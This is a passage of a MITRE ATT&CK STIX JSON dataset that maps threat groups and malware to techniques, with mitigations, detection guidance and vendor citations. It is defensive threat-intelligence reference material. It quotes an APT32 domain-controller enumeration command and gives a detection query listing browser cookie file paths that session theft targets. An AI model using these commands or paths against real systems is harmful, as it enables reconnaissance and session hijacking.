level.","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a602aa34-5b1d-4b46-93e7-21252e85a656","created":"2022-03-30T14:26:51.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NetSPI Startup Stored Procedures","description":"Sutherland, S. (2016, March 7). Maintaining Persistence via SQL Server – Part 1: Startup Stored Procedures. Retrieved September 12, 2024.","url":"https://www.netspi.com/blog/technical-blog/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T17:43:51.575Z","description":"Monitor for third-party application logging, messaging, and/or other artifacts that may abuse SQL stored procedures to establish persistent access to systems. On a MSSQL Server, consider monitoring for xp_cmdshell usage.(Citation: NetSPI Startup Stored Procedures) Consider enabling audit features that can log malicious startup activities.","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--f9e9365a-9ca2-4d9c-8e7c-050d73d1101a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a602be33-6ed6-4f73-b7f6-10b47581707a","type":"relationship","created":"2017-05-31T21:33:27.070Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Poseidon Group","description":"Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.","url":"https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/"}],"modified":"2020-03-18T20:25:55.175Z","description":"[Poseidon Group](https://attack.mitre.org/groups/G0033) searches for administrator accounts on both the local victim machine and the network.(Citation: Kaspersky Poseidon Group)","relationship_type":"uses","source_ref":"intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a6046634-68c8-4a9e-a58f-58fd8876346a","type":"relationship","created":"2020-05-28T16:38:03.706Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Eset Ramsay May 2020","url":"https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/","description":"Sanmillan, I.. (2020, May 13). Ramsay: A cyber‑espionage toolkit tailored for air‑gapped networks. Retrieved May 27, 2020."}],"modified":"2020-06-12T16:15:05.032Z","description":"[Ramsay](https://attack.mitre.org/software/S0458) can conduct an initial scan for Microsoft Word documents on the local system, removable media, and connected network drives, before tagging and collecting them. It can continue tagging documents to collect with follow up scans.(Citation: Eset Ramsay May 2020)\t","relationship_type":"uses","source_ref":"malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a6080757-7935-439b-b70f-72ba841cda03","type":"relationship","created":"2019-01-31T01:07:58.596Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2020-06-29T16:54:25.889Z","description":"[APT32](https://attack.mitre.org/groups/G0050) has enumerated DC servers using the command net group \"Domain Controllers\" /domain. The group has also used the ping command.(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a60c0123-95a3-4409-a60e-354e4237d6cb","type":"relationship","created":"2020-10-13T22:37:00.995Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.secureworks.com/cyber-threat-intelligence/threats/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles/","description":"Dell SecureWorks. (2015, October 7). Suspected Iran-Based Hacker Group Creates Network of Fake LinkedIn Profiles. Retrieved January 14, 2016.","source_name":"Dell Threat Group 2889"}],"modified":"2020-10-13T22:37:00.995Z","description":"[Cleaver](https://attack.mitre.org/groups/G0003) has created fake LinkedIn profiles that included profile photos, details, and connections.(Citation: Dell Threat Group 2889)","relationship_type":"uses","source_ref":"intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063","target_ref":"attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a60d34fc-9c1e-4b36-a82b-56258445c7f0","type":"relationship","created":"2021-10-12T22:07:18.481Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks IRON LIBERTY July 2019","url":"https://www.secureworks.com/research/resurgent-iron-liberty-targeting-energy-sector","description":"Secureworks. (2019, July 24). Resurgent Iron Liberty Targeting Energy Sector. Retrieved August 12, 2020."},{"source_name":"US-CERT TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"}],"modified":"2021-12-07T15:14:11.927Z","description":"(Citation: Secureworks IRON LIBERTY July 2019)(Citation: US-CERT TA18-074A)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"tool--c4810609-7da6-48ec-8057-1b70a7814db0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a613f562-50d2-4677-b3ad-70e097127f6d","created":"2022-06-07T18:24:24.187Z","x_mitre_version":"0.1","external_references":[{"source_name":"ClearSky Siamesekitten August 2021","url":"https://www.clearskysec.com/siamesekitten/","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Milan](https://attack.mitre.org/software/S1015) can upload files from a compromised host.(Citation: ClearSky Siamesekitten August 2021)","modified":"2022-06-07T18:24:24.187Z","relationship_type":"uses","source_ref":"malware--aea6d6b8-d832-4c90-a1bb-f52c6684db6c","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a6150e37-2411-409f-82a0-e259d55d1166","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto T9000 Feb 2016","description":"Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/"}],"modified":"2020-03-30T03:07:37.793Z","description":"[T9000](https://attack.mitre.org/software/S0098) gathers and beacons the username of the logged in account during installation. It will also gather the username of running processes to determine if it is running as SYSTEM.(Citation: Palo Alto T9000 Feb 2016)","relationship_type":"uses","source_ref":"malware--876f6a77-fbc5-4e13-ab1a-5611986730a3","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a6175b80-3f45-4d17-9e00-67f32b973ea4","created":"2022-01-25T15:21:10.120Z","x_mitre_version":"1.0","external_references":[{"source_name":"Check Point APT35 CharmPower January 2022","url":"https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/","description":"Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[CharmPower](https://attack.mitre.org/software/S0674) has the ability to list running processes through the use of `tasklist`.(Citation: Check Point APT35 CharmPower January 2022)","modified":"2022-04-08T21:05:20.089Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--7acb15b6-fe2c-4319-b136-6ab36ff0b2d4","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a61cf8cf-87f1-4061-ae9d-31e8162bdfef","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","source_name":"Cylance Dust Storm"}],"modified":"2022-01-19T18:38:38.787Z","description":"[Mis-Type](https://attack.mitre.org/software/S0084) first attempts to use a Base64-encoded network protocol over a raw TCP socket for C2, and if that method fails, falls back to a secondary HTTP-based protocol to communicate to an alternate C2 server.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a622b97a-e473-45a5-9e93-85c883f02074","type":"relationship","created":"2019-03-12T16:13:15.691Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf","description":"ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.","source_name":"ClearSky Wilted Tulip July 2017"}],"modified":"2019-05-03T16:42:19.252Z","description":"(Citation: ClearSky Wilted Tulip July 2017)","relationship_type":"uses","source_ref":"intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a","target_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a624f944-5f3e-4713-9e89-9964ae82c677","type":"relationship","created":"2020-10-15T02:00:30.447Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Promethium June 2020","url":"https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html","description":"Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020."}],"modified":"2020-10-15T02:00:30.447Z","description":"[StrongPity](https://attack.mitre.org/software/S0491) has encrypted C2 traffic using SSL/TLS.(Citation: Talos Promethium June 2020)","relationship_type":"uses","source_ref":"malware--20945359-3b39-4542-85ef-08ecb4e1c174","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a6252cbd-82a6-4cd6-a5f6-74507cd49f72","type":"relationship","created":"2019-06-05T19:04:37.877Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro BKDR_URSNIF.SM","url":"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/BKDR_URSNIF.SM?_ga=2.129468940.1462021705.1559742358-1202584019.1549394279","description":"Sioting, S. (2013, June 15). BKDR_URSNIF.SM. Retrieved June 5, 2019."},{"source_name":"ProofPoint Ursnif Aug 2016","url":"https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality","description":"Proofpoint Staff. (2016, August 25). Nightmare on Tor Street: Ursnif variant Dreambot adds Tor functionality. Retrieved June 5, 2019."}],"modified":"2019-06-24T16:46:20.815Z","description":"[Ursnif](https://attack.mitre.org/software/S0386) has used Registry modifications as part of its installation routine.(Citation: TrendMicro BKDR_URSNIF.SM)(Citation: ProofPoint Ursnif Aug 2016)","relationship_type":"uses","source_ref":"malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a6270ac3-f99b-452d-a5f9-abb86159415c","created":"2022-03-30T14:26:51.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T14:23:05.632Z","description":"Monitor for an attempt by a user to gain access to a network or computing resource, often by providing credentials to cloud service management consoles. Some cloud providers, such as AWS, provide distinct log events for login attempts to the management console.\n\nAnalytic 1 - Unexpected access to web session cookies files.\n\n (index=security sourcetype=\"WinEventLog:Security\" EventCode=4663 ObjectName=\"*\\\\AppData\\\\Roaming\\\\*\\\\Cookies\\\\*\" OR ObjectName=\"*\\\\AppData\\\\Local\\\\*\\\\Cookies\\\\*\") OR\n(index=sysmon sourcetype=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=11 TargetObject=\"*\\\\AppData\\\\Roaming\\\\*\\\\Cookies\\\\*\" OR TargetObject=\"*\\\\AppData\\\\Local\\\\*\\\\Cookies\\\\*\") OR\n(index=os sourcetype=\"linux_audit\" (filepath=\"/home/*/.mozilla/firefox/*.default-release/cookies.sqlite\" OR filepath=\"/home/*/.config/google-chrome/Default/Cookies\")) OR\n(index=os sourcetype=\"macos_secure\" file_path=\"/Users/*/Library/Application Support/Google/Chrome/Default/Cookies\") OR\n(index=gsuite sourcetype=\"gsuite:admin\" event_name=\"LOGIN\" event_type=\"cookie_auth\") OR\n(index=o365 sourcetype=\"o365:management:activity\" Operation=\"UserLoginViaCookie\")","relationship_type":"detects","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a6270b8b-89b1-484f-9da9-a1111c74ad11","type":"relationship","created":"2020-02-11T19:01:16.032Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-11T19:01:16.032Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6","target_ref":"attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a62885f2-38a3-4030-b28d-bff5b3d692df","type":"relationship","created":"2020-10-28T13:08:39.121Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike BloodHound April 2018","url":"https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/","description":"Red Team Labs. (2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020."}],"modified":"2020-10-28T13:08:39.121Z","description":"[BloodHound](https://attack.mitre.org/software/S0521) can use PowerShell to pull Active Directory information from the target environment.(Citation: CrowdStrike BloodHound April 2018)","relationship_type":"uses","source_ref":"tool--066b057c-944e-4cfc-b654-e3dfba04b926","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a628def4-31a4-475e-b4b8-615534d8d585","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/quasar/QuasarRAT","description":"MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.","source_name":"GitHub QuasarRAT"},{"url":"https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/","description":"Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.","source_name":"Volexity Patchwork June 2018"}],"modified":"2019-06-24T19:05:41.508Z","description":"[QuasarRAT](https://attack.mitre.org/software/S0262) can obtain passwords from FTP clients.(Citation: GitHub QuasarRAT)(Citation: Volexity Patchwork June 2018)","relationship_type":"uses","source_ref":"tool--da04ac30-27da-4959-a67d-450ce47d9470","target_ref":"attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a62e2165-9f7e-44ed-8523-7e3a805a94db","created":"2024-09-06T21:57:37.932Z","revoked":false,"external_references":[{"source_name":"CISA GRU29155 2024","description":"US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-06T21:57:37.932Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) has used pass-the-hash techniques for lateral movement in victim environments.(Citation: CISA GRU29155 2024)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a62fda63-0af7-442c-85a6-c5161dec94a6","created":"2022-10-04T22:08:13.013Z","revoked":false,"external_references":[{"source_name":"Mandiant UNC3890 Aug 2022","description":"Mandiant Israel Research Team. (2022, August 17). Suspected Iranian Actor Targeting Israeli Shipping, Healthcare, Government and Energy Sectors. Retrieved September 21, 2022.","url":"https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-04T22:08:13.013Z","description":"[SUGARUSH](https://attack.mitre.org/software/S1049) has used `cmd` for execution on an infected host.(Citation: Mandiant UNC3890 Aug 2022)","relationship_type":"uses","source_ref":"malware--44e2a842-415b-47f4-8549-83fbdb8a5674","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a6350331-0c0d-4d0d-90a3-d5cc3e420875","type":"relationship","created":"2019-04-23T15:51:37.516Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","source_name":"FireEye Periscope March 2018"},{"url":"https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html","description":"Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.","source_name":"Lee 2013"},{"description":"The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.","url":"https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools","source_name":"NCSC Joint Report Public Tools"}],"modified":"2021-01-25T15:43:46.040Z","description":"[China Chopper](https://attack.mitre.org/software/S0020)'s server component can change the timestamp of files.(Citation: FireEye Periscope March 2018)(Citation: Lee 2013)(Citation: NCSC Joint Report Public Tools)","relationship_type":"uses","source_ref":"malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a6352ede-7afb-4be5-bba4-bd5c0a20bae6","type":"relationship","created":"2020-01-23T19:09:49.097Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-11T18:47:52.754Z","description":"InstallUtil may not be necessary within a given environment.","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--2cd950a6-16c4-404a-aa01-044322395107","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a6360da7-8678-4d7c-a866-6f2a982a23ba","type":"relationship","created":"2020-06-23T19:13:13.413Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-07T19:43:49.898Z","description":"Script blocking extensions can help prevent the execution of scripts and HTA files that may commonly be used during the exploitation process. For malicious code served up through ads, adblockers can help prevent that code from executing in the first place.","relationship_type":"mitigates","source_ref":"course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a637133c-2b07-4e57-8822-5c3bc4b584d7","type":"relationship","created":"2020-12-29T20:44:35.961Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-259A Iran-Based Actor September 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-259a","description":"CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."},{"source_name":"ClearSky Pay2Kitten December 2020","url":"https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf","description":"ClearSky. (2020, December 17). Pay2Key Ransomware – A New Campaign by Fox Kitten. Retrieved December 21, 2020."},{"source_name":"Check Point Pay2Key November 2020","url":"https://research.checkpoint.com/2020/ransomware-alert-pay2key/","description":"Check Point. (2020, November 6). Ransomware Alert: Pay2Key. Retrieved January 4, 2021."}],"modified":"2021-01-05T15:23:22.295Z","description":"[Fox Kitten](https://attack.mitre.org/groups/G0117) has used the open source reverse proxy tools including FRPC and Go Proxy to establish connections from C2 to local servers.(Citation: CISA AA20-259A Iran-Based Actor September 2020)(Citation: ClearSky Pay2Kitten December 2020)(Citation: Check Point Pay2Key November 2020)","relationship_type":"uses","source_ref":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a637e1c6-e82a-430b-b4cf-880b1d3af9ea","created":"2022-06-16T13:11:29.456Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for logging that may suggest a list of available groups and/or their associated settings has been extracted, ex. Windows EID 4798 and 4799.","modified":"2022-06-16T13:11:29.456Z","relationship_type":"detects","source_ref":"x-mitre-data-component--8e44412e-3238-4d64-8878-4f11e27784fe","target_ref":"attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a6385229-7849-4813-b298-54fc7979ef71","created":"2022-03-30T14:26:51.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-14T21:07:42.766Z","description":"Monitor executed commands and arguments of .scr files.","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--ce4b7013-640e-48a9-b501-d0025a95f4bf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a63bc24e-2b10-46bc-a9a5-992701755923","created":"2024-03-22T20:03:30.467Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SocGholish-update","description":"Andrew Northern. (2022, November 22). SocGholish, a very real threat from a very fake update. Retrieved February 13, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-29T17:04:56.823Z","description":"[SocGholish](https://attack.mitre.org/software/S1124) has lured victims into interacting with malicious links on compromised websites for execution.(Citation: 